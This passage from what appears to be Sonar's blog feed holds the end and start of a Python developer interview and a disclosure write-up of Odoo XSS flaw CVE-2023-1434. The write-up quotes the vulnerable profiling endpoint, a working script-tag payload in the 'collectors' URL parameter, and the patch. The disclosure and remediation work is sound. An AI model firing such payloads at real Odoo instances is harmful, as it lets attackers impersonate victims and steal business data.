  pass&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I know we are working to leverage Python type hints into our Sonar solution. This will be great, as I believe that knowing (somehow) the types of variables and methods will help the analysis be even more accurate and efficient.&lt;/p&gt;&lt;h4&gt;&lt;br/&gt;&lt;/h4&gt;&lt;h4&gt;Yaniv Nizry&lt;/h4&gt;&lt;p&gt;I don&amp;#x27;t follow updates and changes in Python. For me, Python already has everything I need 😉.&lt;/p&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Wrap up&lt;/h2&gt;&lt;p&gt;A big thank you to Nafiul, Cheng, and Yaniv, three of Sonar&amp;#x27;s very own Python developers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered their views on tooling and what recent changes have excited them the most (and that Yaniv already has everything he needs 😀).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar we want to deliver solutions that add value to developers and help them create Clean Python Code. Follow us to learn more, or download our free and open-source plugin SonarLint from your favorite IDE marketplace to try it for yourself.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;&lt;br/&gt;&lt;/h4&gt;&lt;h4&gt;Bios&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;Nafiul Islam&lt;/strong&gt;, programming since 14, has a decade of software experience. Adept in Python and exploring Rust, he authored &amp;quot;Mastering PyCharm&amp;quot; at 21. Nafiul has spoken at global Python conferences and held positions at JetBrains and Microsoft. In his free time, he loves reading fantasy novels. Follow him @gamesbrainiac on Twitter.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Cheng Chen&lt;/strong&gt; trained as a computer scientist, Cheng has been working in machine learning and artificial intelligence since 15 years ago in different industry branches such as computer vision, FMCG, digital manufacturing, and biometrics. He recently joined Sonar to explore ML for code analysis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Yaniv Nizry&lt;/strong&gt; is a Vulnerability Researcher at Sonar where he leverages his expertise to identify and mitigate vulnerabilities in complex systems. Starting his way as a software engineer, he shifted his focus while serving in the IDF&amp;#x27;s 8200 unit, where he gained experience in both offensive and defensive cybersecurity tactics.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Enjoy all things Python, and want more? &lt;a href=&quot;https://sonarsource.zoom.us/webinar/register/1016814727581/WN_9WmyrHN7QrKxkZ1fTEbmpw&quot;&gt;Register now&lt;/a&gt; for our upcoming webinar Clean Code for your Python projects, with Nafiul Islam - Wednesday, May 10th - 5 PM CEST / 10 AM CDT.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Odoo: Get your Content Type right, or else!]]></title><description><![CDATA[What do we need content types for anyway? Let's look into how an incorrect content type led to a real-world vulnerability in Odoo, CVE-2023-1434.]]></description><link>https://www.sonarsource.com/blog/odoo-get-your-content-type-right-or-else</link><guid isPermaLink="false">3903b7fa-002d-5a7b-8783-8bae6f108c24</guid><dc:creator><![CDATA[Dennis Brinkrolf, Thomas Chauchefoin]]></dc:creator><pubDate>Mon, 24 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As a web developer, do you &lt;em&gt;really&lt;/em&gt; know what content types are? Sure, something like &lt;code&gt;text/html&lt;/code&gt; should ring a bell, but are you also aware that getting them wrong can lead to security vulnerabilities in your application? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we will first give you a recap of what content types are and what they are used for. We will then show how important it is to get them right in your code by explaining how a small mistake led to a Cross-Site Scripting vulnerability in Odoo, a popular open-source business suite written in Python. Odoo has features for many business-critical areas, such as e-commerce, billing, or CRM, making it an interesting target for threat actors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability is tracked as CVE-2023-1434 and is caused by an incorrect content type being set on an API endpoint. Attackers could abuse it by crafting a malicious link that allows them to impersonate any victim on a vulnerable Odoo instance that clicks that link. If the victim has high privileges, attackers may be able to exfiltrate important business data. This bug is exploitable in the default configuration of Odoo; no addon is required. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Odoo maintainers addressed this vulnerability on December 23, 2022, and the fix is already part of the 16.0 release. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;(If you are already up-to-speed on content types, feel free to jump to &lt;em&gt;Diving into CVE-2023-1434&lt;/em&gt;!)&lt;/p&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Content types?&lt;/h2&gt;&lt;p&gt;The content type, also known as MIME type, is a crucial piece of information for web browsers. They need this information to display the server&amp;#x27;s response the right way. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It starts in the request, where the browser sets the &lt;code&gt;Accept&lt;/code&gt; header to tell the server what acceptable types are. For instance, when your browser requests a CSS stylesheet, it will likely attach &lt;code&gt;Accept: text/css&lt;/code&gt;. Your browser could also feel adventurous and send &lt;code&gt;*/*&lt;/code&gt; (meaning, any type!), or send multiple values, each with a weight like &lt;code&gt;q=0.1,&lt;/code&gt; to give the server a choice. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The server can then use this value to decide on which &lt;code&gt;Content-Type&lt;/code&gt; header to attach to the response. It can also use values from the request path (i.e., extensions) to take this decision or simply ignore it. &lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Content Sniffing&lt;/h3&gt;&lt;p&gt;In cases where the content type of a resource is not explicitly stated by one of the two sides, Content Sniffing usually kicks in. It means that an application has to decide on its own which type of content some unknown blob of data is, and yes, it is as likely to have the wrong result as it sounds.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Server-side Content Sniffing&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;It can happen server-side, by a reverse proxy or the application itself, when the developer specifies no content type. This process is error-prone and likely leads to unintended results. There are several documented examples of this going wrong. For instance, &lt;a href=&quot;https://ssd-disclosure.com/ssd-advisory-ip-board-stored-xss-to-rce-chain/&quot;&gt;Simon Scannell exploited it in CVE-2021-39249 on Invision Power Board&lt;/a&gt;, where he could upload attachment files without extensions. However, by default, the Apache HTTP server will attach &lt;code&gt;text/html&lt;/code&gt; to files without extensions, letting Simon upload files later distributed as HTML documents.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also highly recommend reading &lt;a href=&quot;https://tttang-com.translate.goog/archive/1880/?_x_tr_sl=auto&amp;_x_tr_tl=en&amp;_x_tr_hl=en&amp;_x_tr_pto=wapp&quot;&gt;Server-Side MIME Sniff Caused by Go Language Project Containerization&lt;/a&gt; by @RuiShang9. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Go standard library has a &lt;a href=&quot;https://go.dev/src/mime/type.go&quot;&gt;very limited set&lt;/a&gt; of file extensions and their associated MIME types. In minimalistic environments of containers, i.e. based on &lt;a href=&quot;https://hub.docker.com/_/alpine&quot;&gt;&lt;code&gt;alpine&lt;/code&gt;&lt;/a&gt;, the system may not provide enough additional type definitions. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this context, it is then likely that attackers could upload static files whose extension is allowed by the application but unknown by the Go server-side MIME sniffing feature. The file may then be served as &lt;code&gt;text/html&lt;/code&gt; and introduces a Stored Cross-Site Scripting vulnerability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Client-side Content Sniffing&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;It can also happen client-side, in the user&amp;#x27;s browser, when the response doesn&amp;#x27;t contain a &lt;code&gt;Content-Type&lt;/code&gt; header or an invalid one. The MIME sniffing algorithm is documented in a &lt;a href=&quot;https://mimesniff.spec.whatwg.org/#identifying-a-resource-with-an-unknown-mime-type&quot;&gt;WHATWG living document&lt;/a&gt; and lists byte patterns to look for and the computed MIME type to attach if they are found in the response. For instance, the presence of &lt;code&gt;&amp;lt;!DOCTYPE HTML&lt;/code&gt; or &lt;code&gt;&amp;lt;HTML&lt;/code&gt; along with a character closing the tags raises &lt;code&gt;text/html&lt;/code&gt;, &lt;code&gt;%PDF-&lt;/code&gt; raises &lt;code&gt;application/pdf,&lt;/code&gt; and so on. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://twitter.com/YNizry/status/1582733545759330306&quot;&gt;Yaniv Nizry identified a quirk in Apache&amp;#x27;s &lt;code&gt;mod_mime&lt;/code&gt; module&lt;/a&gt;, where files with extensions but an empty (&lt;code&gt;.jpg&lt;/code&gt;) or dot name (&lt;code&gt;…jpg)&lt;/code&gt; would be served without a content type. The browser would then &amp;quot;sniff&amp;quot; the content and could be tricked into rendering them as HTML documents. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With these examples, it is clear that Content Sniffing is here to accommodate users and always tries to show them valid pages in their browsers–not for security. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We even developed a rule as part of our Clean Code offering to remember telling browsers &lt;em&gt;not&lt;/em&gt; to rely on it: &lt;a href=&quot;https://rules.sonarsource.com/javascript/RSPEC-5734&quot;&gt;Allowing browsers to sniff MIME types is security-sensitive&lt;/a&gt;. We suggest addressing it by setting the header &lt;code&gt;X-Content-Type-Options&lt;/code&gt; to &lt;code&gt;nosniff&lt;/code&gt; in all responses to tell browsers not to attempt content sniffing on the resources. It won&amp;#x27;t prevent cases where the content type is incorrectly stated. &lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;What could go wrong? &lt;/h3&gt;&lt;p&gt;Let&amp;#x27;s take the example of an image returned with the wrong content type information, for instance, &lt;code&gt;text/html&lt;/code&gt;. The browser displays gibberish–the ASCII representation of the file&amp;#x27;s bytes:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3b1dc5da-e41c-4123-9c27-c95c5504be23/odoo-1.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But that also means that if there&amp;#x27;s any HTML tag in this file, they will be rendered by the browser. For instance, below, we have the result of the emoji in a &lt;code&gt;&amp;lt;h1&amp;gt;:&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/7e0da2ac-a4d3-4554-afe9-964a7fb71dbe/odoo-2.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers could replace this tag with &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; to include arbitrary JavaScript code instead. Executing such code in the victim&amp;#x27;s browser allows impersonating them on the same origin (as in &amp;quot;Same-Origin Policy&amp;quot;). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now that we have a good understanding of content types and why they can be security-relevant, we can look into a vulnerability we found in Odoo.&lt;/p&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Diving into CVE-2023-1434&lt;/h2&gt;&lt;p&gt;As part of the advanced features for developers, Odoo users can enable profiling for their session to identify potential performance bottlenecks in their application. They can later visualize flame graphs of their traces with a &lt;a href=&quot;https://github.com/jlfwong/speedscope&quot;&gt;speedscope&lt;/a&gt; instance:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2567a841-ef32-41d4-9cf3-9afcdbfdc0a4/odoo-3.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the ways to interact with the profiler is through an API handler, like &lt;code&gt;/web/set_profiling/&lt;/code&gt;. At &lt;code&gt;[1]&lt;/code&gt;, the decorator exposes it to &lt;code&gt;/web/set_profiling&lt;/code&gt; without authentication, at &lt;code&gt;[2]&lt;/code&gt; it creates the variable state with a call to &lt;code&gt;set_profiling()&lt;/code&gt;, and then at &lt;code&gt;[3&lt;/code&gt;] it returns a JSON-encoded output of this variable:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Profiling(Controller):

    @route(&apos;/web/set_profiling&apos;, type=&apos;http&apos;, auth=&apos;public&apos;, sitemap=False) # [1]
    def profile(self, profile=None, collectors=None, **params):
        # [...]
        try:
            state = request.env[&apos;ir.profile&apos;].set_profiling(profile, collectors=collectors, params=params) # [2]
            return Response(json.dumps(state)) # [3]
        except UserError as e:
            return Response(response=&apos;error: %s&apos; % e, status=500)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;addons/web/controllers/profiling.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Digging into Odoo&amp;#x27;s &lt;code&gt;Response&lt;/code&gt; implementation, we can see that it directly inherits from werkzeug&amp;#x27;s &lt;code&gt;Response&lt;/code&gt;, which is the underlying web framework:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Response(werkzeug.wrappers.Response):
    &quot;&quot;&quot;
    Outgoing HTTP response with body, status, headers and qweb support.
    [...]
    Also exposes all the attributes and methods of
    :class:`werkzeug.wrappers.Response`.
    &quot;&quot;&quot;
    default_mimetype = &apos;text/html&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;odoo/http.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The attribute &lt;code&gt;default_mimetype&lt;/code&gt; is set to &lt;code&gt;text/html&lt;/code&gt;–very interesting! Indeed, werkzeug&amp;#x27;s default MIME type is originally set to &lt;code&gt;text/plain&lt;/code&gt; if the developer didn&amp;#x27;t override it in the constructor:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class BaseResponse(object):
    # [...]
    #: the charset of the response.
    charset = &quot;utf-8&quot;

    #: the default status if none is provided.
    default_status = 200

    #: the default mimetype if none is provided.
    default_mimetype = &quot;text/plain&quot;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;werkzeug/wrappers/base_response.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We are now in a situation where we are returning JSON data with a &lt;code&gt;text/html&lt;/code&gt; content type. But do we control parts of that data? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The method &lt;code&gt;set_profiling()&lt;/code&gt; is defined in &lt;code&gt;ir_profile.py&lt;/code&gt;. In the snippet below, at &lt;code&gt;[1]&lt;/code&gt;, &lt;code&gt;[2]&lt;/code&gt;, and &lt;code&gt;[3]&lt;/code&gt;, &lt;code&gt;request.session&lt;/code&gt; is populated with the method parameters &lt;code&gt;profile&lt;/code&gt;, &lt;code&gt;collectors,&lt;/code&gt; and &lt;code&gt;params&lt;/code&gt;. These values are then returned in a &lt;code&gt;dict&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;@api.model
def set_profiling(self, profile=None, collectors=None, params=None):
    # [...]
    if profile:
        # [...]
    elif profile is not None:
        # [1]
        request.session.profile_session = None 

    if collectors is not None:
        # [2]
        request.session.profile_collectors = collectors

    if params is not None:
        # [3]
        request.session.profile_params = params

    return {
        &apos;session&apos;: request.session.profile_session,
        &apos;collectors&apos;: request.session.profile_collectors,
        &apos;params&apos;: request.session.profile_params,
    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;odoo/addons/base/models/ir_profile.py&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So yes, we have full control over them. URL parameters like &lt;code&gt;profile=0&lt;/code&gt;, &lt;code&gt;collectors=&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&lt;/code&gt; is enough to trigger the vulnerability. The resulting DOM, as seen by the client&amp;#x27;s browser, is as follows: &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2d415ddc-c776-46c7-a7fd-dc492424467d/odoo-5.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Note that, while the server does not send them, the browser added the &lt;code&gt;html&lt;/code&gt;, &lt;code&gt;head&lt;/code&gt;, and &lt;code&gt;body&lt;/code&gt; tags around the actual data because the server signaled that the response is an HTML page! Accessing the page is enough to trigger the JavaScript code:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/03a5a320-35ec-4d7c-90f7-32079b96b3f2/odoo-4.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Remediating Cross-Site Scripting Vulnerabilities&lt;/h3&gt;&lt;p&gt;In the case of Cross-Site Scripting vulnerabilities, we believe that the best way of addressing these risks is at the very end of the chain: when displaying the data. Special characters must be made ineffective, whether by escaping or encoding them, but always depending on the context in which the data is injected. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For instance, JavaScript string literals and HTML support different escaping methods, and using the wrong one will likely introduce a Cross-Site Scripting vulnerability. Always make sure to know the context and use the most appropriate function. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The case of Odoo is a bit unusual. Common solutions would have been to implement a strict validation of the parameters or convert tags into HTML entities in the JSON string. Still, none of these should be considered satisfactory because the root cause boils down to this wrong content type: it must be addressed by setting the right content type on the API endpoint. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also recommend investing in a strong &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP&quot;&gt;Content Security Policy&lt;/a&gt;, which will not prevent vulnerabilities but make them harder or impossible to exploit. It always takes time and a few iterations to get it right, so the sooner, the better! &lt;/p&gt;&lt;h3&gt;&lt;br/&gt;&lt;/h3&gt;&lt;h3&gt;Patching CVE-2023-1434&lt;/h3&gt;&lt;p&gt;Odoo maintainers addressed the vulnerability with &lt;a href=&quot;https://github.com/odoo/odoo/commit/ec8dd1ad7731be32d43a12435def7c720cdcad32&quot;&gt;ec8dd1a&lt;/a&gt; by adding an explicit content type, &lt;code&gt;application/json&lt;/code&gt;, on this endpoint. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If an &lt;code&gt;UserError&lt;/code&gt; exception is raised, the exception message is prefixed with &lt;code&gt;error:&lt;/code&gt;; this is not a valid JSON document. In that specific case, the maintainers set the content type to &lt;code&gt;text/plain&lt;/code&gt; to tell browsers not to render it. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;diff --git a/addons/web/controllers/profiling.py b/addons/web/controllers/profiling.py
index b320ee0cfba4e..640f8b4e210fc 100644
--- a/addons/web/controllers/profiling.py
+++ b/addons/web/controllers/profiling.py
@@ -16,9 +16,9 @@ def profile(self, profile=None, collectors=None, **params):
         profile = profile and profile != &apos;0&apos;
         try:
             state = request.env[&apos;ir.profile&apos;].set_profiling(profile, collectors=collectors, params=params)
-            return json.dumps(state)
+            return Response(json.dumps(state), mimetype=&apos;application/json&apos;)
         except UserError as e:
-            return Response(response=&apos;error: %s&apos; % e, status=500)
+            return Response(response=&apos;error: %s&apos; % e, status=500, mimetype=&apos;text/plain&apos;)
 
     @route([&apos;/web/speedscope&apos;, &apos;/web/speedscope/&lt;model(&quot;ir.profile&quot;):profile&gt;&apos;], type=&apos;http&apos;, sitemap=False, auth=&apos;user&apos;)
     def speedscope(self, profile=None):&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;(We will update this publication with a link to the official advisory as soon it is published).&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-12-22&lt;/td&gt;&lt;td&gt;We report the vulnerability to the vendor.&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-12-23&lt;/td&gt;&lt;td&gt;The vulnerability is fixed in &lt;a href=&quot;https://github.com/odoo/odoo/commit/ec8dd1ad7731be32d43a12435def7c720cdcad32&quot;&gt;ec8dd1a&lt;/a&gt;.&amp;nbsp;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-12-25&lt;/td&gt;&lt;td&gt;Vendor informs us that the SaaS platform is not vulnerable and that a fix is under validation.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In short, getting the content type right is crucial for web developers to ensure the security of their applications. Client-side vulnerabilities can have a significant impact on the security of an application and should not be ignored. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank Olivier Dony of Odoo S.A. for promptly deploying a patch and for their very effective communication.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Enjoy all things Python, and want more? &lt;a href=&quot;https://sonarsource.zoom.us/webinar/register/1016814727581/WN_9WmyrHN7QrKxkZ1fTEbmpw#/registration&quot;&gt;Register now&lt;/a&gt; for our upcoming webinar Clean Code for your Python projects, with Nafiul Islam - Wednesday, May 10th - 5 PM CEST / 10 AM CDT.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/&quot;&gt;It’s a (SNMP) Trap: Gaining Code Execution on LibreNMS&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/openemr-remote-code-execution-in-your-healthcare-system/&quot;&gt;OpenEMR - Remote Code Execution in your Healthcare System&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/ghost-admin-takeover/&quot;&gt;Ghost CMS 4.3.2 - Cross-Origin Admin Takeover&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Interview with Sonar Python Developers Part 1]]></title><description><![CDATA[Why should I learn Python language? When should I use Python? Is tooling around Python development mature?]]></description><link>https://www.sonarsource.com/blog/interview-with-sonar-python-developers-part-1</link><guid isPermaLink="false">ad0622d8-ed18-5180-8245-670f8ea84c70</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Mon, 17 Apr 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;As part of our Sonar celebration of all things Python during April we took the opportunity to sit down with three of our Python developers and pose questions that were submitted by our Community. Here is part one of this series.&lt;/p&gt;&lt;h2&gt;Why should I learn Python now?&lt;/h2&gt;&lt;h4&gt;Quazi Nafiul Islam&lt;/h4&gt;&lt;p&gt;Learning Python is a wise choice right now due to its popularity, demand, and versatility in applications like web development, data analysis, AI, and machine learning. Its readability and simplicity make it beginner-friendly, while its extensive libraries and frameworks facilitate a wide range of tasks. The diverse Python community offers abundant resources, tutorials, and support. As a skill with enduring relevance, Python ensures a solid foundation for emerging career opportunities, and its cross-platform compatibility allows for seamless work across different operating systems.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Moreover, Python continues to adapt and expand into new areas. Even front-end development, which traditionally lacked comprehensive support within the Python ecosystem, now benefits from tools like PyScript (which is funded by Anaconda, the company behind numpy). This innovative solution enables developers to create front-end applications using Python, something that I personally never thought would happen.&lt;/p&gt;&lt;h4&gt;&lt;br/&gt;&lt;/h4&gt;&lt;h4&gt;Cheng Chen&lt;/h4&gt;&lt;p&gt;First, Python is one of the most popular programming languages in the world. If you are new to programming languages in general, then Python is a very good choice. It is beginner-friendly with a more intuitive syntax and you can easily find a ton of resources to help you! If you are an experienced programmer in other languages, then learning Python is a piece of cake, and you will love it as your new powerful weapon in your battles!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And, with chatGPT having created a lot of buzz recently if you are interested in machine learning (ML) and artificial intelligence (AI), then Python is also a must, as it is the most popular language in this domain.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Yaniv Nizry&lt;/h4&gt;&lt;p&gt;Python is probably the most straightforward programming language to learn, it&amp;#x27;s simple and yet very powerful. Thanks to the fact that Python is an interpreted language there is no overhead of compiling and setting up projects/environments. Over the years I&amp;#x27;ve seen Python being used from the smallest scripts to a whole backend infrastructure. Regarding code security, Python has little to no unintuitive quirks that might cause unexpected vulnerabilities such as prototype pollution in JS, type juggling in PHP, memory handling in C, and more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On top of that due to the popularity of the language, the number of open-source code\examples is huge, so if you run into some problems there is most likely an answer for it online with code snippets.&lt;/p&gt;&lt;h2&gt;What are the best use cases for Python, and which are a better fit for another language?&lt;/h2&gt;&lt;h4&gt;Quazi Nafiul Islam&lt;/h4&gt;&lt;p&gt;I must admit that my response may be biased, however, I will give it a shot. Python is by far the best language to teach people programming. Take a look at the following code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;print(&quot;Hello, World!&quot;)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In one line, you can introduce someone to the joy of programming. In contrast with a programming language like Java, you&amp;#x27;d need to instantiate a class, create a `main` method, and then you&amp;#x27;d need to use a module&amp;#x27;s method in order to print something out to the terminal.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Python has powerful data analysis libraries such as Pandas and Matplotlib, and they work well with each other. Here is an example of how you can extract data from a CSV (you can also extract it from a TSV or an Excel file) and then generate a plot with that data:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import pandas as pd
import matplotlib.pyplot as plt

data = pd.read_csv(&quot;data.csv&quot;)
data.plot(x=&quot;date&quot;, y=&quot;orders&quot;)
plt.show()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And although I don&amp;#x27;t work with machine learning libraries, Python has them by the bucketload, with PyTorch, Tensorflow, and even specialized libraries such as Keras and nltk.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For Web Development, Python continues to provide an easy-to-use interface for creating APIs and web applications with libraries like FastAPI and Django respectively. Both of these libraries have excellent documentation and they are very beginner friendly. Here&amp;#x27;s what creating a simple endpoint looks like in FastAPI:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;from fastapi import FastAPI

app = FastAPI()


@app.get(&quot;/&quot;)
async def root():
    return {&quot;message&quot;: &quot;Hello World&quot;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These are just a few but there&amp;#x27;s also network engineering and automation that Python is excellent at.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, there are a few places where you might want to use other languages. For high-performance multi-threaded applications, you would be wise to choose C, C++, or Rust for example, since they offer better control over low-level resources. Mobile development is almost exclusively done in their respective platform languages, so Swift for iOS and Java/Kotlin for Android development. So yes, while Python is great at a lot of things, it is not the best at everything; no language can be the best in every domain.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Cheng Chen&lt;/h4&gt;&lt;p&gt;Python is a very versatile language that can cover many use cases. From small tasks such as quickly analyzing some data in your spreadsheet, to automatically scraping the web for today&amp;#x27;s news headlines, to bigger things like building web applications or doing some serious data science work (wanna train a fancy ML model to predict the stock market tomorrow based on the news headlines that you just scraped?)... Python nails all those tasks!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Python also comes with the Jupyter notebook, which is a great way to convey your idea, because you can combine the code and outputs (e.g. graphics) together and tell your story!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once in our R&amp;amp;D team, we needed to come up with a mathematical equation to determine the &amp;quot;hotness&amp;quot; of an innovation idea based on criteria such as impact, feasibility, and applicability. With Samuele Buro, we solved the problem using Python. That was a lot of fun!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Python is extremely efficient in terms of development (e.g. implementing ideas). On the other hand, being an interpreted language, it is not the most efficient at runtime. Therefore, if you develop some time-critical applications, you might want to choose one of the compiled languages. Also, as a high-level language, Python is not the best choice for low-level programming tasks such as device drivers or embedded systems. In those cases, you might want to use languages such as C (or even the quaint grandma assembly? :) 